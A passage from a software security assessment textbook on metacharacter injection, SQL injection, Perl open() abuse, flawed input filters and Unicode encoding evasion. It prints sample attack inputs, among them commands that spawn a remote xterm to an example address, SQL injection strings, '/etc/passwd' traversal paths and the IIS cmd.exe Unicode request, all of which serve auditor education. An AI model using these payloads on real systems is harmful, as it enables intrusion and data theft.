name: %s\n", name); fprintf(fp, "address: %s\n", address); ... } For this example, assume the e-mail address has been adequately filtered. So is this program safe? No! The mail program interprets lines beginning with a tilde (~) as a command to run, so if you specify the name or address with a value of "\n~xterm display 1.2.3.4:0", the mail program spawns an xterm. Obviously, maintaining a detailed knowledge of the inner workings of all programs on a platformor even all applications your team has writtencan be quite a challenge. Despite this difficulty, when developers decide to call another application, they are crossing a trust boundary and passing control entirely outside the bounds of their applications. Passing control in this way introduces the possibility that the called program could undermine all the calling application's security restrictions. For this reason, it's well worth your time to examine programs instantiated by the application you're auditing, especially if any untrusted input is passed to those programs. Finally, be mindful of the fact that input doesn't need to be supplied to an external program directly to create vulnerabilities. Attackers might be able to adversely affect an application in a number of other ways, depending on how the program is called and the environment in which it runs. These details tend to be OS specific, however, so they're covered in more depth in Chapters 9(? [????.]) through 12(? [????.]). Perl open() The multipurpose capabilities of the Perl open() function are worth noting. This function can open both files and processes, so it does the job of the open() and popen() functions in C. The open() function can be called with three arguments (file handle, mode, and filename) or two arguments (file handle and filename). The second method determines in which mode to open the file by interpreting metacharacters that might be at the beginning or end of the filename. These mode characters, listed in Table 8-1, can also direct that the call to the open() function should run the data as a command instead of opening a file. Table 8-1. Mode Character Interpretation in Perl's open() Function The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 447 Byte Sequence Location Meaning < Beginning Open file for read access. > Beginning Open file for write access; create file if it doesn't exist. +< Beginning Open file for read-write access. +> Beginning Open file for read-write access; create file if it doesn't exist; otherwise, truncate the file. >> Beginning Open file for write access but don't truncate; append to the end of the file. +>> Beginning Open file for read-write access but don't truncate; append to the end of the file. | Beginning This argument is a command, not a filename. Create a pipe to run this command with write access. | End This argument is a command, not a filename. Create a pipe to run this command with read access. When no mode characters are specified, the file is opened for just read access, just as if the file argument contains a leading <. This programming practice is a dangerous, however, because if attackers can specify the filename (or at least the filename's leading component), they can choose the mode in which the file is opened! Here's an example of a dangerous call: open(FH, "$username.txt") || die("$!"); The second argument contains no leading mode characters, allowing users to specify arbitrary mode characters. The most dangerous is the pipe character, which causes an arbitrary command to run. For example, by specifying the username as "| xterm d 1.2.3.4:0;", users can spawn a remote xterm with this script! The same applies if the last part of the filename can be specified, as in this example: open(FH, "/data/profiles/$username"); In this case, remote execution could be achieved by specifying a username such as "blah; xterm -d 1.2.3.4:0 |". If users can't control the beginning or the end of a filename, they can't insert pipes for running commands. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 448 You might think that if attackers controlled a little data in the middle of the file argument, they could achieve remote execution by specifying an argument such as "blah; xterm d 1.2.3.4:0|%00", using the NUL-byte injection technique. Although this technique chops off any characters trailing the variable, Perl doesn't interpret the pipe (|) as the last character in the filename, so it doesn't create a pipe. Also, keep in mind that the +> mode opens a file for read-write access and truncates the file to 0 bytes. This mode is somewhat unique because the file can be modified. Say untrusted data is supplied as the username variable in the following call: open(FH, "+>$username.txt"); If the username variable begins with a >, the file is opened in append mode and isn't truncated. Depending on the application's specifics, this result might have interesting implications, such as reading data created by a previous user session. Apart from this special case, if a mode is specified for opening the file, the call is safe, right? No, there's more! The open() function in Perl also duplicates file descriptors for you. If the mode argument is followed by an ampersand (&) and the name of a known file handle (STDIN, STDOUT, STDERR), open() duplicates the file descriptor with a matching mode (such as a leading < for STDOUT). Additionally, you can specify any file descriptor number you want with the syntax &=<fd number>. Take a look at this example: open(ADMIN, "+>>/data/admin/admin.conf"); ... open(USER, ">$userprofile"); This code fragment assumes that the ADMIN file hasn't been closed when the second call to open() is made. It enables attackers to write to the /data/admin/admin.conf file. They simply need to know the correct file descriptor number and supply it as the userprofile value, such as &= if admin.conf is opened as file descriptor 3. Note that the open() call might be exploitable in the following example too: open(ADMIN, "+>>/data/admin/admin.conf"); ... open(USER, ">$userprofile.txt"); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 449 If attackers can insert NUL bytes, they can supply the userprofile value &=, and the file descriptor is duplicated correctly. However, the three-argument version of open() would render this code no longer vulnerable because it requires explicitly setting the mode in the second parameter. So you can consider three-argument calls to open() to be secure, for the most part. Auditing Tip You might find a vulnerability in which you can duplicate a file descriptor. If you have access to an environment similar to one in which the script is running, use lsof or a similar tool to determine what file descriptors are open when the process runs. This tool should help you see what you might have access to. SQL Queries SQL is a standard language for interacting with a relational database management system (RDBMS). You most likely encounter SQL in the context of Web applications, when examining server-side scripts or applications that process input from browsers and issue queries to a back-end database. Incorrect handling of input to these queries can result in severe vulnerabilities. This discussion focuses on dynamically constructed queries in normal SQL syntax. Chapter 17(? [????.]), "Web Applications," expands this coverage to address parameterized queries and stored procedures. The most common SQL-related vulnerability is SQL injection. It occurs when input is taken from request data (post variables, forms, or cookies) and concatenated into a query string issued against the database. Listing 8-20 is a simple example in PHP and MySQL. Listing 8-20. SQL Injection Vulnerability $username = $HTTP_POST_VARS['username']; $password = $HTTP_POST_VARS['passwd']; $query = "SELECT * FROM logintable WHERE user = '" . $username . "' AND pass = '" . $password. "'"; ... $result = mysql_query($query); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 450 if(!$result) die_bad_login(); ... This query is vulnerable to SQL injection because users can supply unfiltered input for the passwd and username variables. Attackers could easily submit a string such as "bob' OR pass <> 'bob" for both parameters, which results in the following query being issued against the database: SELECT * from logintable WHERE user = 'bob' OR user <> 'bob' AND pass = 'bob' OR pass <> 'bob' In this example, attackers take advantage of the script not filtering the single-quote character ('), which allows them to supply the closing quote and include their own SQL statements. Of course, a single quote isn't the only way to manipulate an SQL query. Dealing with unbounded integer fields (or any data not enclosed in quotes) might cause problems, too. Developers don't expect these fields to contain nonnumeric data, so they often don't check for other data types, particularly if the data is taken from a hidden field or cookie. Take a look at this example: $order_id = $HTTP_POST_VARS ['hid_order_id']; $query = "SELECT * FROM orders WHERE id=" This example is similar to the previous one, except the order_id value is received in a hidden variable that should contain an integer value. This statement could be compromised by supplying a value such as "1 OR 1=" for hid_order_id. In this case, you could expect the application to return all orders in the system. Note PHP and MySQL provide mechanisms for cleaning strings to help mitigate the risk of this attack. Some examples of filtering functions are mysql_real_escape_string(), dbx_escape_string(), and pg_escape_string(). However, filtering isn't the most reliable method of addressing this issue, as it is still in-band representation and could be vulnerable to unforeseen attack vectors and errors in the filtering routines. Chapter 17(? [????.]) discusses parameterized queries as an out-of-band query method that provides a more effective method of protection. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 451 The impact of SQL injection vulnerabilities varies depending on the RDBMS and database structure. Some databases limit injected queries to the scope of the initial statement; for instance, a vulnerability in an Oracle SELECT statement allows injecting only additional SELECTS or function calls. On the other end of the spectrum, some databases allow the injected statement almost unlimited functionality; Microsoft SQL Server allows terminating the current statement with a semicolon, and then appending another statement. In many cases, the database contents are attackers' final goal, so they are happy with any vulnerability that grants arbitrary database interaction. However, the attack could also be extended to the hosting system. Many RDBMS implementations have stored procedures for running system commands or arbitrary processes. Attackers can use these procedures unless the database session is explicitly denied access. Failing that approach, the RDBMS implementation itself might expose vulnerabilities. Many stored procedures and functions are implemented in other languages, which can expose a host of other potential vulnerabilities (discussed more in Chapter 17(? [????.])). You might also need to consider truncation issues that could result in SQL injection, as in file handling. This error can occur in languages using fixed-size buffers; attackers can fill a buffer enough to eliminate trailing clauses. Of course, most developers prefer to use languages with counted string classes when handling SQL queries. Still, it's worth keeping this attack in mind if you encounter C/C++ front ends that manipulate SQL. Listing 8-21 shows an example. Listing 8-21. SQL Truncation Vulnerability int search_orders(char *post_detail, char *sess_account) { char buf[1024]; int rc; post_detail = escape_sql(post_detail); sess_account = escape_sql(sess_account); snprintf(buf, sizeof(buf), "SELECT * FROM orders WHERE detail LIKE " \ "\'%%%s%%\' AND account = \'%s\'", post_detail, sess_account); rc = perform_query(buffer); free(post_detail); free(sess_account); if(rc > 0) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 452 return 1; return 0; } Assume that the search_orders() function in Listing 8-21 allows users to search through their own orders, but no one else's. The escape_sql() function prevents users from injecting any control characters, and the sess_account variable is provided from the session. This means users can manipulate only the length and content of the post_detail variable. However, they can pad post_detail with enough percent signs (%) that it causes snprintf() to cut off the AND clause that restricts the query to current users. The resulting query then retrieves all orders, regardless of the user. 7.4.5 Metacharacter Filtering The potential issues associated with metacharacters often necessitates a more defensive coding strategy. Generally, this strategy involves attempting to detect potential attacks or sanitize input before it's interpreted. There are three basic options:  Detect erroneous input and reject what appears to be an attack.  Detect and strip dangerous characters.  Detect and encode dangerous characters with a metacharacter escape sequence. Each of these options has its uses, and each opens the potential for new vulnerabilities. The first two options attempt to eliminate metacharacters outright, so they share certain commonalties addressed in the next section. The third option involves a number of unique concerns, so it is addressed separately in "Escaping Metacharacters." Eliminating Metacharacters Rejecting illegal requests and stripping dangerous characters are similar strategies; they both involve running user data through some sort of sanitization routine, often using a regular expression. If the disallowed input is rejected, any request containing illegal metacharacters is simply discarded. This approach usually includes some sort of error indicating why the input wasn't allowed, as shown in this example: if($input_data =~ /[^A-Za-z0-9_ ]/){ print "Error! Input data contains illegal characters!"; exit; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 453 In this example, the input_data variable is checked for any character that isn't alphanumeric, an underscore, or a space. If any of these characters are found, an error is signaled and processing terminates. With character stripping, the input is modified to get rid of any violations to the restrictions, and then processing continues as normal. Here's a simple modification of the previous example: $input_data =~ s/[^A-Za-z0-9]/g; Each option has its strengths and weaknesses. Rejection of dangerous input lessens the chance of a breach because fewer things can go wrong in handling. However, a high false-positive rate on certain inputs might cause the application to be particularly unfriendly. Stripping data elements is more dangerous because developers could make small errors in implementing filters that fix up the input stream. However, stripping input may be considered more robust because the application can handle a wide variety of input without constantly generating errors. Both approaches must account for how strong their filter implementation is; if they don't catch all the dangerous input, nothing that happens afterward matters much! There are two main types of filters: explicit deny filters (black lists) and explicit allow filters (white lists). With an explicit deny filter, all data is assumed to be legal except the specific characters deemed dangerous. Listing 8-22 is an example of an explicit deny filter implementation. Listing 8-22. Character Black-List Filter int islegal(char *input) { char *bad_characters = "\"\\\|;<>&-*"; for(; *input; input++){ if(strchr(bad_characters, *input) return 0; } return 1; } As you can see, this filter allows any characters except those in the bad_characters set. Conversely, an explicit allow filter checks for characters known to be legal, and anything else is assumed illegal, as shown in Listing 8-23. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 454 Listing 8-23. Character White-List Filter int islegal(char *input) { for(; *input; input++){ if(!isalphanum(*input) && *input != '_' && !isspace(*input)) return 0; } return 1; } This example is similar to Listing 8-22, except it's testing for the existence of each character in a set of legal characters, as opposed to checking for illegal characters. White-list filters are much more restrictive by nature, so they are generally considered more secure. When the accept set is large, however, using an explicit deny filter might be more appropriate. When reviewing code containing filters of either kind, you must determine whether the application has failed to account for any dangerous input. To do this, you should take these steps: 1. Make a list of every input the filter allows. 2. Make a list of every input that's dangerous if left in the input stream. 3. Check whether there are any results from the intersection of these two lists. Step 1 is straightforward and can be done from just reading the code; however, step 2 might require more creativity. The more knowledge you have about the component or program interpreting the data, the more thorough analysis you can perform. It follows, therefore, that a good code auditor should be familiar with whatever data formats they encounter in an assessment. For example, shell programming and SQL are metadata formats commonly used in web applications. Insufficient Filtering When you already have a thorough knowledge of the formats you deal with, there's usually the temptation to not make allowed input lists. You might instead choose to draw on your existing knowledge to assess the filter's strength. This approach may be adequate, but it also increases your chances of missing subtle vulnerabilities, just as the application developer might. For example, take a look at Listing 8-24, which demonstrates a filtering vulnerability in the PCNFSD server. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 455 Listing 8-24. Metacharacter Vulnerability in PCNFSD int suspicious (s) char *s; { if(strpbrk(s, ";|&<>`'#!?*()[]^") != NULL) return 1; return 0; } A filter is constructed to strip out dangerous characters before the data is passed to popen(). The developers have a fairly complete reject set, but they missed a character. Can you see what it is? That's right: it's the newline (('\n') character. If a newline character is inserted in the input stream, the shell treats the data before it as one command and the data after it as a new command, thus allowing attackers to run arbitrary commands. This example is interesting because the newline character is often forgotten when filtering data for shell execution issues. People think about other command separators, such as semicolons, but often neglect to filter out the newline character, demonstrating that even experienced programmers can be familiar with a system yet make oversights that result in vulnerabilities. Even when you're familiar with a format, you need to keep in mind the different implementations or versions of a program. Unique extensions might introduce the potential for variations of standard attacks, and data might be interpreted more than once with different rules. For example, when sanitizing input for a call to popen(), you need to be aware that any data passed to the program being called is interpreted by the command shell, and then interpreted again differently by the program that's running. Character Stripping Vulnerabilities There are additional risks when stripping illegal characters instead of just rejecting the request. The reason is that there are more opportunities for developers to make mistakes. In addition to missing potentially dangerous characters, they might make mistakes in implementing sanitization routines. Sometimes implementations are required to filter out multicharacter sequences; for example, consider a CGI script that opens a file in a server-side data directory. The developers want to allow users to open any file in this directory, and maybe even data in subdirectories below that directory. Therefore, both dot (.) and slash (/) are valid characters. They certainly don't want to allow user-supplied filenames outside the data directory, such as ../../../etc/passwd; so the developers strip out occurrences of the ../ sequence. An implementation for this filter is shown in Listing 8-25. Listing 8-25. Vulnerability in Filtering a Character Sequence The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 456 char *clean_path(char *input) { char *src, *dst; for(src = dst = input; *src; ){ if(src[0] == '.' && src[1] == '.' && src[2] == '/'){ src += 3; memmove(dst, src, strlen(src)+1); continue; } else *dst++ = *src++; } *dst = '\0'; return input; } Unfortunately, this filtering algorithm has a severe flaw. When a ../ is encountered, it's removed from the stream by copying over the ../ with the rest of the path. However, the src pointer is incremented by three bytes, so it doesn't process the three bytes immediately following a ../ sequence! Therefore, all an attacker needs to do to bypass it is put one double dot exactly after another, because the second one is missed. For example, input such as ../../test.txt is converted to ../test.txt. Listing 8-26 shows how to fix the incorrect filter. Listing 8-26. Vulnerability in Filtering a Character Sequence #2 char *clean_path(char *input) { char *src, *dst; for(src = dst = input; *src; ){ if(src[0] == '.' && src[1] == '.' && src[2] == '/'){ memmove(dst, src+3, strlen(src+3)+1); continue; } else *dst++ = *src++; } *dst = '\0'; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 457 return input; } Now the algorithm removes ../ sequences, but do you see that there's still a problem? What happens if you supply a file argument such as ....//hi? Table 8-2 steps through the algorithm. Table 8-2. Desk-Check of clean_path with Input ....//hi Iteration Input Output 1 ....//hi . 2 ...//hi .. 3 ..//hi .. (Nothing is written) 4 /hi ../ 5 hi ../h 6 i ../hi This algorithm demonstrates a subtle issue common to many multicharacter filters that strip invalid input. By supplying characters around forbidden patterns that combine to make the forbidden pattern, you have the filter itself construct the malicious input by stripping out the bytes in between. Auditing Tip When auditing multicharacter filters, attempt to determine whether building illegal sequences by constructing embedded illegal patterns is possible, as in Listing 8-26. Also, note that these attacks are possible when developers use a single substitution pattern with regular expressions, such as this example: $path =~ s/\.\.\///g; This approach is prevalent in several programming languages (notably Perl and PHP). Escaping Metacharacters The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 458 Escaping dangerous characters differs from other filtering methods because it's essentially nondestructive. That is, it doesn't deny or remove metacharacters but handles them in a safer form. Escaping methods differ among data formats, but the most common method is to prepend an escape metacharacter (usually a backslash) to any potentially dangerous metacharacters. This method allows these characters to be safely interpreted as a two-character escape sequence, so the application won't interpret the metacharacter directly. When reviewing these implementations, you need to be mindful of the escape character. If this character isn't treated carefully, it could be used to undermine the rest of the character filter. For example, the following filter is designed to escape the quote characters from a MySQL query using the backslash as an escape metacharacter: $username =~ s/\"\'\*/\\$1/g; $passwd =~ s/\"\'\*/\\$1/g; ... $query = "SELECT * FROM users WHERE user='" . $username . "' AND pass = '" . $passwd . "'"; This query replaces dangerous quote characters with an escaped version of the character. For example, a username of "bob' OR user <> 'bob" would be replaced with "bob\' OR user <> \'bob". Therefore, attackers couldn't break out of the single quotes and compromise the application. The regular expression pattern neglects to escape the backslash character (\), however, so attackers still have an avenue of attack by submitting the following: username = bob\' OR username = passwd = OR 1= This input would create the following query after being filtered: SELECT * FROM users WHERE user='bob\\' OR username = ' AND pass = ' OR 1= The MySQL server interprets the double-backslash sequence after bob as an escaped backslash. This prevents the inserted backslash from escaping the single quote, allowing an attacker to alter the query. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 459 Escape characters vary between SQL implementations. Generally, the database supports the slash-quote (\') or double-apostrophe ('') escape sequences. However, developers might confuse which escape sequence is supported and accidentally use the wrong sequence for the target database. Metacharacter Evasion One of the most interesting security ramifications of escaping metacharacters is that the encoded characters can be used to avoid other filtering mechanisms. As a code auditor, you must determine when data can be encoded in a manner that undermines application security. To do this, you must couple decoding phases with relevant security decisions and resulting actions in the code. The following steps are a basic procedure: 1. Identify each location in the code where escaped input is decoded. 2. Identify associated security decisions based on that input. 3. If decoding occurs after the decision is made, you have a problem. To perform this procedure correctly, you need to correlate what data is relevant to the action performed after the security check. There's no hard and fast method of tying a decoding phase to a security decision, but one thing you need to consider is that the more times data is modified, the more opportunities exist for fooling security logic. Beyond that, it's just a matter of understanding the code involved in data processing. To help build this understanding, the following sections provide specific examples of how data encodings are used to evade filters. Hexadecimal Encoding HTTP is discussed in more detail in later chapters; however, this discussion of encoding would be remiss if it didn't address the standard encoding form for URIs and query data. For the most part, all alphanumeric characters are transmitted directly via HTTP, and all other characters (excluding control characters) are escaped by using a three-character encoding scheme. This scheme uses a percent character (%) followed by two hexadecimal digits representing the byte value. For example, a space character (which has a hexadecimal of 0x20) uses this three-character sequence: %20. HTTP transactions can also include Unicode characters. Details of Unicode are covered in "Character Sets and Unicode(? [????.])" later in this chapter, but for this discussion, you just need to remember that Unicode characters can be represented as sequences The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 460 of one or two bytes. For one-byte sequences, HTTP uses the hexadecimal encoding method already discussed. However, for two-byte sequences, Unicode characters can be encoded with a six-character sequence consisting of the string %u or %U followed by four hexadecimal digits. These digits represent the 16-bit value of a Unicode character. These alternate encodings are a potential threat for smuggling dangerous characters through character filters. To understand the problem, look at the sample code in Listing 8-27. Listing 8-27. Hex-Encoded Pathname Vulnerability int open_profile(char *username) { if(strchr(username, '/')) { log("possible attack, slashes in username"); return 1; } chdir("/data/profiles"); return open(hexdecode(username), O_RDONLY); } This admittedly contrived example has a glaring security problem: the username variable is checked for slashes (/) before hexadecimal characters are decoded. Using the coupling technique described earlier, you can associate decoding phases, security decisions, and actions as shown in this list:  Decision If username contains a / character, it's dangerous (refer to line 3 in Listing 8-27).  Decoding Hexadecimal decoding is performed on input after the decision (refer to line 10).  Action Username is used to open a file (refer to line 10). So a username such as ..%2F..%2Fetc%2Fpasswd results in this program opening the system password file. Usually, these types of vulnerabilities aren't as obvious. Decoding issues are more likely to occur when a program is compartmentalized, and individual modules are isolated from the decoding process. Therefore, the developer using a decoding module generally isn't aware of what's occurring. Note Hexadecimal encoding is also a popular method for evading security software (such as IDSs) used to detect attacks against Web servers. If an IDS fails to decode The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 461 hexadecimal encoded requests or decodes them improperly, an attack can be staged without generating an alert. Handling embedded hexadecimal sequences is usually simple. A decoder can generally do two things wrong:  Skip a NUL byte.  Decode illegal characters. Earlier in this chapter, you examined a faulty implementation that failed to check for NUL bytes (see Listing 8-5(? [????.])). So this coverage will concentrate on the second error, decoding illegal characters. This error can happen when assumptions are made about the data following a % sign. Two hexadecimal digits are expected follow a % sign. Listing 8-28 shows a typical implementation for converting those values into data. Listing 8-28. Decoding Incorrect Byte Values int convert_byte(char byte) { if(byte >= 'A' && byte <= 'F') return (byte 'A') + 10; else if(byte >= 'a' && byte <= 'f') return (byte 'a') + 10; else return (byte '0'); } int convert_hex(char *string) { int val1, val2; val1 = convert_byte(string[0]); val2 = convert_byte(string[1]); return (val1 << 4) | val2; } The convert_byte() function is flawed, in that it assumes the byte is a number character if it's not explicitly a hexadecimal letter (as shown in the bolded lines). Therefore, invalid hex characters passed to this function (including the characters A through F) produce unexpected decoded bytes. The security implication of this The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 462 incorrect decoding is simple; any filters processing the data in an earlier stage miss values that can appear in the resulting output stream. HTML and XML Encoding HTML and XML documents can contain encoded data in the form of entities, which are used to encode HTML rendering metacharacters. Entities are constructed by using the ampersand sign (&), followed by the entity abbreviation, and terminated with a semicolon. For example, to represent an ampersand, the abbreviation is "amp," so &amp; is the encoded HTML entity. A complete list of entities is available from the World Wide Web Consortium (W3C) site at www.w3c.org. Even more interesting, characters can also be encoded as their numeric codepoints in both decimal and hexadecimal. To represent a codepoint in decimal, the codepoint value is prepended with &#. For example, a space character has the decimal value 32, so it's represented as &#32. Hex encoding is similar, except the value is prepended with &#x, so the space character (0x20) is represented as &#x20. Two-byte Unicode characters can also be specified with five decimal or four hexadecimal digit sequences. This encoding form is susceptible to the same basic vulnerabilities that hexadecimal decoders might havesuch as embedding NUL characters, evading filters, and assuming that at least two bytes follow an &# sequence. Note Keep in mind that HTML decoding is normally handled by a client browser application. However, using this encoding form in XML data does open the possibility of a variety of server-directed attacks. Multiple Encoding Layers Sometimes data is decoded several times and in several different ways, especially when multiple layers of processing are performed before the input is used for its intended purpose. Decoding several times makes validation extremely difficult, as higher layers see the data in an intermediate format rather than the final unencoded content. In complex multitiered applications, the fact that input goes through a number of filters or conversions might not be immediately obvious, or it might happen only in certain conditions. For example, data posted to a HTTP Web server might go through base64 decoding if the Content-Encoding header specifies this behavior, UTF-8 decoding because it's the encoding format specified in the Content-Type header, and finally hexadecimal decoding, which occurs on all HTTP traffic. Additionally, if the data The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 463 is destined for a Web application or script, it's entirely possible that it goes through another level of hexadecimal decoding. Figure 8-3 shows this behavior. Figure 8-3. Encoded Web data Each component involved in decoding is often developed with no regard to other components performing additional decoding steps at lower or higher layers, so developers might make incorrect judgments on what input should result. Vulnerabilities of this nature tie back into previous discussions on design errors. Specifically, cross-component problems might happen when an interface to a component is known, but the component's exact function is unknown or undefined. For example, a Web server module might perform some decoding of request data to make security decisions about that decoded data. The data might then undergo another layer of decoding afterward, thus introducing the possibility for attackers to sneak encoded content through a filter. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 464 This example brings up another interesting point: Vulnerabilities of this nature might also be a result of operational security flaws. As you learned in Chapter 3(? [????.]), "Operational Review," applications don't operate in a vacuum, especially integrated pieces of software, such as Web applications. The web server and platform modules may provide encoding methods that attackers can use to violate the security of an application. 7.4.6 Character Sets and Unicode In the previous section, you were primarily concerned with characters that, when left unchecked, might represent a security threat to the application you're reviewing. Extending on this idea, now you examine different character set encodings and common situations in which they can cause problems. Character set encodings determine the sequence of bytes used to represent characters in different languages. In the context of security, you're concerned with how conversions between character sets affects an application's capability to accurately evaluate data streams and filter hostile input. Unicode The Unicode standard describes characters from any language in a unique and unambiguous way. It was primarily intended to address limitations of the ASCII character set and the proliferation of potentially incompatible character sets for other languages. The result is a standard that defines "a consistent way of encoding multilingual text that enables the exchange of text data internationally and creates the foundation for global software." The Unicode standard (available at www.unicode.org) defines characters as a series of codepoints (numerical values) that can be encoded in several formats, each with different size code units. A code unit is a single entity as seen by the encoding and decoding routines; each code unit size can be represented in either byte orderbig endian (BE) or little endian (LE). Table 8-3 shows the different encoding formats in Unicode. Table 8-3. Unicode Encoding Formats Name Code Unit Size (in Bits) Byte Order UTF-8 8 UTF-16BE 16 Big endian UTF-16LE 16 Little endian UTF-32BE 32 Big endian UTF-32LE 32 Little endian The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 465 Note that the byte-order specification (BE or LE) can be omitted, in which case a byte-order marker (BOM) at the beginning of the input can be used to indicate the byte order. These encoding schemes are used extensively in HTTP communications for request data or XML documents. They are also used in a lot of Microsoft-based software because current Windows operating systems use Unicode internally to represent strings. Unicode's codespace is 0 to 0x10FFFF, so 16-bit and 8-bit code units might not be able to represent an entire Unicode character because of size constraints. However, characters can be encoded multibyte streams; that is, several encoded bytes in sequence might combine to represent one Unicode character. Auditing programs that make use of Unicode characters and Unicode encoding schemes require reviewers to verify:  Whether characters can be encoded to bypass security checks  Whether the implementation of encoding and decoding contains vulnerabilities of its own The first check requires verifying that characters aren't converted after filter code has run to check the input's integrity. For example, a major bug was discovered in the Microsoft Internet Information Services (IIS) Web server. It was a result of the Web server software failing to decode Unicode escapes before checking whether a user was trying to perform a directory traversal (double dot) attack; so it didn't catch encoded ../ and ..\ sequences. Users could make the following request: GET /..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir In this way, they could run arbitrary commands with the permissions the Web server uses. Note You can find details of this vulnerability at www.microsoft.com/security/technet/bulletin/MS00-078.mspx. Because many applications use Unicode representation, an attack of this nature is always a major threat. Given that a range of encoding schemes are available to express data, there are quite a few ways to represent the same codepoint. You already know that you can represent a value in 8-, 16-, or 32-bit code units (in either byte order), but smaller code units have multiple ways to represent individual code points. To understand this better, you need to know more about how code points are encoded, explained in the following sections. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 466 UTF-8 UTF-8 encoded codepoints are represented as single or multibyte sequences. For the ranges of values 0x00 to 0x7F, only a single byte is required, so the UTF-8 encoding for U.S. ASCII codepoints is identical to ASCII. For other values that can't be represented in 7 bits, a lead byte is given followed by a variable number of trailing bytes (up to four) that combine to represent the value being encoded. The lead byte consists of the highest bit set plus a number of other bits in the most significant word that indicate how many bytes are in this multibyte set. So the number of bits set contiguously in the lead byte's high word specifies the number of trailing bytes, as shown in Table 8-4. Table 8-4. UTF-8 Lead-Byte Encoding Scheme Bit Pattern Bytes Following 110x xxxx 1 1110 xxxx 2 1111 xxxx 3, 4, or 5 Note The bit pattern rules in Table 8-4 are a slight oversimplification, but they are adequate for the purposes of this discussion. Interested readers are encouraged to browse the current specification at www.unicode.org. The bits replaced by x are used to hold part of the value being represented. Each trailing byte begins with its topmost bits set to 10 and have the least significant 6 bits set to hold part of the value being represented. Therefore, it's illegal for a trailing byte to be less than 0x80 or greater than 0xBF, and it's also illegal for a lead byte to start with 10 (as that would make it indistinguishable from a trailing byte). Until recently, you could encode Unicode values with any of the supported multibyte lengths you wanted. So, for example, a / character could be represented as  0x2F  0xC0 0xAF  0xE0 0x80 0xAF  0xF0 0x80 0x80 0xAF The Unicode 3.0 standard, released in 1999, has been revised to allow only the shortest form encoding; for instance, the only legal UTF-8 encoding in the preceding The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 467 list is 0x2F. Windows XP and later enforce the shortest-form encoding rule. However, not all Unicode implementations are compliant. In particular, ASCII characters are often accepted as one- or two-byte sequences, which could be useful in evading character filters. For example, a filter searching for slashes in a path argument (0x2F) might miss the sequence 0xC0 0xAF; if UTF-8 conversions are performed later, this character filter can be completely evaded for any arbitrary ASCII character. Note Daniel J. Roelker published an interesting paper on combining these different multibyte encodings with several other hexadecimal encoding techniques to evade IDS filtering of HTTP traffic. It's available at http://docs.idsresearch.org/http_ids_evasions.pdf. UTF-16 UTF-16 expresses codepoints as 16-bit words, which is enough to represent most commonly used characters in major languages. However, some characters require more than 16 bits. Remember, the codespace for Unicode ranges from 0 to 0x10FFFF, and the maximum value a 16-bit integer can represent is 0xFFFF. Therefore, UTF-16 can also contain multi-unit sequences, so UTF-16 encoded codepoints can be one or two units. A codepoint higher than 0xFFFF requires two code units to be expressed and is encoded as a surrogate pair; that is, a pair of code units with a special lead bit sequence that combines to represent a codepoint. These are the rules for encoding Unicode codepoints in UTF-16 (taken from RFC 2781): 1. If U < 0x10000, encode U as a 16-bit unsigned integer and terminate. 2. Let U' = U - 0x10000. Because U is less than or equal to 0x10FFFF, U' must be less than or equal to 0xFFFFF. That is, U' can be represented in 20 bits. 3. Initialize two 16-bit unsigned integers, W1 and W2, to 0xD800 and 0xDC00, respectively. Each integer has 10 bits free to encode the character value, for a total of 20 bits. 4. Assign the 10 high-order bits of the 20-bit U' to the 10 low-order bits of W1 and the 10 low-order bits of U' to the 10 low-order bits of W2. Terminate. Because the constant value 0x100000 is added to the bits read from a surrogate pair, you can't encode arbitrary values the way you were able to in UTF-8. With UTF-16 encoding, there's only one way to represent a codepoint. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 468 UTF-32 UTF-32 expresses codepoints as 32-bit value. Because it can represent any codepoint in a single value, surrogate pairs are never required, as they are in UTF-8 and UTF-16. The only way to alter how a codepoint is represented in UTF-32 encoding is to change the data stream's endian format (using the special BOM mentioned after Table 8-3). Vulnerabilities in Decoding As mentioned, the difficulty with filtering Unicode data correctly is that the same value can be represented in many ways by using different word-size encodings, by switching byte order, and by abusing UTF-8's unique capability to represent the same value in more than one way. An application isn't going to be susceptible to bypassing filters if only one data decoding is performedthat is, the data is decoded, checked, and then used. However, in the context of HTTP traffic, only one decoding seldom happens. Why? Web applications have increased the complexity of HTTP exchanges dramatically, and data can often be decoded several times and in several ways. For example, the IIS Web server decodes hexadecimal sequences in a request, and then later performs UTF-8 decoding on itand then might hand it off to an ISAPI filter or Web application that does more hexadecimal decoding on it. Note You can find excellent information on security issues with Unicode in TR36Unicode Security Considerations Technical Report. At the time of this writing, it's available at www.unicode.org/reports/tr36/. Homographic Attacks Homographic attacks are primarily useful as a form of social engineering; Evgeniy Gabrilovich and Alex Gontmakher originally described them in "The Homographic Attack" published in the February 2002 edition of Communications of the ACM. These attacks take advantage of a Unicode homograph, which includes different characters that have the same visual representation. On its simplest level, a homographic attack doesn't specifically require Unicode. For example, the digit 1 (ASCII 0x31) can look like the lowercase letter l (ASCII 0x6c). However, with a little scrutiny, you can tell them apart. In contrast, a Unicode homographic attack involves two graphical representations that are identical, even though the underlying characters are different. For example, the Cyrillic character at codepoint 0x0441 happens to look a lot like the Latin-1 (ASCII) character 0x0063. In general, both are actually rendered as a lowercase c. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 469 Chapter 17(? 